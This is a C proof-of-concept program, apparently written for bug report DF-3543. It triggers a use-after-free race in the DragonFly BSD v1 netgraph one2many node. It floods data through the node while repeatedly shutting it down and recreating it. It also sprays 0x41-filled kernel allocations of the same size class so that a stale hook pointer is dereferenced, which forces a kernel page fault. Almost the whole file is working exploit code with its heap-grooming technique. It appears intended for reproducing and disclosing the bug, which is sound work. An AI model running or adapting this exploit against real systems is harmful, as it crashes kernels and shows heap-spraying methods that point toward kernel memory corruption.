/*
 * DF-3543 PoC: v1 ng_one2many rcvdata vs rcvmsg/shutdown race.
 *
 * DragonFly v1 netgraph delivers control messages (ng_send_msg) and data
 * (ng_send_data) synchronously in the senders' thread contexts with no
 * per-node serialization (sys/netgraph/netgraph/ng_base.c:1207,
 * sys/netgraph/netgraph/ng_base.c:1678).  ng_one2many_rmnode() does
 * kfree(priv) (sys/netgraph/one2many/ng_one2many.c:441) after
 * ng_cutlinks(), while an in-flight ng_one2many_rcvdata() on another CPU
 * still holds a cached priv pointer and performs:
 *   - priv writes   : src->stats.recvPackets++ / dst->stats.xmitPackets++
 *                     (ng_one2many.c:406,421,422)
 *   - priv reads    : many[activeMany[nextMany]].hook  (:415)
 *   - hook deref    : NG_SEND_DATA(dst->hook,...)      (:425) which reads
 *                     hook->flags / hook->peer / peer->node->type
 *                     (ng_base.c:1684-1687)
 * => use-after-free (write) of the freed node private data and a
 *    use-after-free read/deref of the freed "many" hook.
 *
 * This program races:
 *   - N writer threads flooding the "one" hook of a one2many node,
 *   - closer threads looping SHUTDOWN -> MKPEER -> CONNECT on that node,
 *   - churner threads spraying ~2.8KB netgraph control messages
 *     (kmalloc'd + kfreed in ngc_send, same kmalloc size class as
 *      struct ng_one2many_private) filled with 0x41 so that stale priv
 *      reads turn dst->hook into 0x4141414141414141 -> deterministic
 *      kernel page fault on deref.
 *
 * Must run as root (netgraph control sockets are restricted).
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>

#ifndef AF_NETGRAPH
#define AF_NETGRAPH 32
#endif
#define NG_AF AF_NETGRAPH
#define NG_PROTO_CONTROL 2
#define NG_PROTO_DATA 1

#define NG_VERSION 2
#define NG_GENERIC_COOKIE 851672668
#define NGM_SHUTDOWN 1
#define NGM_MKPEER 2
#define NGM_CONNECT 3
#define NGM_NAME 4

#define NG_TYPESIZ 32
#define NG_HOOKSIZ 32
#define NG_NODESIZ 32
#define NG_PATHSIZ 512
#define NG_CMDSTRSIZ 32

struct ng_msghdr_t {
	unsigned char version;
	unsigned char spare;
	unsigned short arglen;
	unsigned int flags;
	unsigned int token;
	unsigned int typecookie;
	unsigned int cmd;
	unsigned char cmdstr[NG_CMDSTRSIZ];
};
struct ng_mesg_t {
	struct ng_msghdr_t header;
	char data[4096];
};
struct sockaddr_ng_t {
	unsigned char sg_len;
	unsigned char sg_family;
	char sg_data[64];
};
struct ngm_mkpeer_t { char type[NG_TYPESIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
struct ngm_connect_t { char path[NG_PATHSIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
struct ngm_name_t { char name[NG_NODESIZ]; };

static int cs = -1, ds = -1;
static volatile int stop = 0;
static const char *nodename;
static char t1path[16];

static void
mkaddr(struct sockaddr_ng_t *sa, const char *path)
{
	size_t n = strlen(path) + 1;
	memset(sa, 0, sizeof(*sa));
	sa->sg_len = 2 + n;
	sa->sg_family = NG_AF;
	memcpy(sa->sg_data, path, n);
}

static int
ng_send_ctrl(const char *path, unsigned int cookie, unsigned int cmd,
    const void *arg, size_t arglen)
{
	struct sockaddr_ng_t sa;
	struct ng_mesg_t msg;
	ssize_t n;

	memset(&msg, 0, sizeof(msg));
	msg.header.version = NG_VERSION;
	msg.header.arglen = arglen;
	msg.header.typecookie = cookie;
	msg.header.cmd = cmd;
	msg.header.token = 0x666;
	if (arglen)
		memcpy(msg.data, arg, arglen);
	mkaddr(&sa, path);
	n = sendto(cs, &msg, sizeof(msg.header) + arglen, 0,
	    (struct sockaddr *)&sa, sa.sg_len);
	return (n < 0) ? errno : 0;
}

static void *
writer(void *arg)
{
	struct sockaddr_ng_t sa;
	char buf[64];

	memset(buf, 'A', sizeof(buf));
	mkaddr(&sa, t1path);		/* send into C's hook -> O's "one" */
	while (!stop) {
		ssize_t n = sendto(ds, buf, sizeof(buf), 0,
		    (struct sockaddr *)&sa, sa.sg_len);
		if (n < 0 && errno != ENOTCONN && errno != EHOSTUNREACH &&
		    errno != ENOBUFS && errno != ECONNREFUSED && errno != EINVAL)
			usleep(100);
	}
	return (NULL);
}

static void *
drainer(void *arg)
{
	char buf[2048];

	while (!stop)
		recv(ds, buf, sizeof(buf), 0);
	return (NULL);
}

static void *
closer(void *arg)
{
	struct ngm_mkpeer_t mk;
	struct ngm_connect_t cn;
	int err;

	memset(&mk, 0, sizeof(mk));
	strcpy(mk.type, "one2many");
	strcpy(mk.ourhook, t1path);
	strcpy(mk.peerhook, "one");

	memset(&cn, 0, sizeof(cn));
	strcpy(cn.path, "one");		/* from O back to C */
	strcpy(cn.ourhook, "many0");
	strcpy(cn.peerhook, "m0");

	while (!stop) {
		ng_send_ctrl(t1path, NG_GENERIC_COOKIE, NGM_SHUTDOWN, NULL, 0);
		err = ng_send_ctrl(".", NG_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk));
		if (err == 0)
			ng_send_ctrl(t1path, NG_GENERIC_COOKIE, NGM_CONNECT,
			    &cn, sizeof(cn));
	}
	return (NULL);
}

/*
 * Spray kmalloc'd netgraph control messages whose payload is 0x41.
 * struct ng_one2many_private is ~2.8KB; the xmsg buffer kmalloc'd by
 * ngc_send for a 2816-byte message lands in the same size class and is
 * freed at the end of the (EINVAL) call, so a stale priv read of
 * many[i].hook can observe 0x4141414141414141.
 */
static void *
churner(void *arg)
{
	struct sockaddr_ng_t sa;
	struct ng_mesg_t *msg;

	msg = malloc(sizeof(*msg));
	memset(msg, 0x41, sizeof(*msg));
	msg->header.version = NG_VERSION;
	msg->header.arglen = 2816;
	msg->header.typecookie = 0x41414141;
	msg->header.cmd = 1;
	mkaddr(&sa, ".");
	while (!stop) {
		ssize_t n = sendto(cs, msg,
		    sizeof(msg->header) + 2816, 0,
		    (struct sockaddr *)&sa, sa.sg_len);
		if (n < 0 && errno != EINVAL)
			usleep(100);
	}
	free(msg);
	return (NULL);
}

int
main(int argc, char **argv)
{
	struct ngm_name_t nm;
	struct ngm_mkpeer_t mk;
	struct ngm_connect_t cn;
	pthread_t th[32];
	int nwriters = 8, nclosers = 2, nchurn = 2, ndrain = 1;
	int i, err, nth = 0;
	char namebuf[32];

	if (argc > 1)
		nwriters = atoi(argv[1]);
	if (argc > 2)
		nclosers = atoi(argv[2]);
	if (argc > 3)
		nchurn = atoi(argv[3]);

	snprintf(namebuf, sizeof(namebuf), "r%d", getpid());
	nodename = namebuf;
	snprintf(t1path, sizeof(t1path), "t1");

	cs = socket(NG_AF, SOCK_DGRAM, NG_PROTO_CONTROL);
	if (cs < 0) {
		perror("control socket");
		exit(1);
	}
	ds = socket(NG_AF, SOCK_DGRAM, NG_PROTO_DATA);
	if (ds < 0) {
		perror("data socket");
		exit(1);
	}

	/* name the control node, then attach the data socket to it */
	memset(&nm, 0, sizeof(nm));
	strcpy(nm.name, namebuf);
	err = ng_send_ctrl(".", NG_GENERIC_COOKIE, NGM_NAME, &nm, sizeof(nm));
	if (err) {
		fprintf(stderr, "NGM_NAME: %s\n", strerror(err));
		exit(1);
	}
	{
		struct sockaddr_ng_t sa;
		char abspath[64];
		/* v1 path syntax: absolute node address needs the ':' */
		snprintf(abspath, sizeof(abspath), "%s:", namebuf);
		mkaddr(&sa, abspath);
		if (connect(ds, (struct sockaddr *)&sa, sa.sg_len) < 0) {
			perror("data connect");
			exit(1);
		}
	}

	/* build the graph: C.t1 <-> O(one);  O.many0 <-> C.m0 */
	memset(&mk, 0, sizeof(mk));
	strcpy(mk.type, "one2many");
	strcpy(mk.ourhook, t1path);
	strcpy(mk.peerhook, "one");
	err = ng_send_ctrl(".", NG_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk));
	if (err) {
		fprintf(stderr, "initial mkpeer: %s\n", strerror(err));
		exit(1);
	}
	memset(&cn, 0, sizeof(cn));
	strcpy(cn.path, "one");
	strcpy(cn.ourhook, "many0");
	strcpy(cn.peerhook, "m0");
	err = ng_send_ctrl(t1path, NG_GENERIC_COOKIE, NGM_CONNECT, &cn, sizeof(cn));
	if (err) {
		fprintf(stderr, "initial connect: %s\n", strerror(err));
		exit(1);
	}

	fprintf(stderr, "racing: %d writers, %d closers, %d churners\n",
	    nwriters, nclosers, nchurn);

	for (i = 0; i < ndrain; i++)
		pthread_create(&th[nth++], NULL, drainer, NULL);
	for (i = 0; i < nwriters; i++)
		pthread_create(&th[nth++], NULL, writer, NULL);
	for (i = 0; i < nclosers; i++)
		pthread_create(&th[nth++], NULL, closer, NULL);
	for (i = 0; i < nchurn; i++)
		pthread_create(&th[nth++], NULL, churner, NULL);

	sleep(600);
	stop = 1;
	for (i = 0; i < nth; i++)
		pthread_join(th[i], NULL);
	fprintf(stderr, "survived 600s\n");
	return (0);
}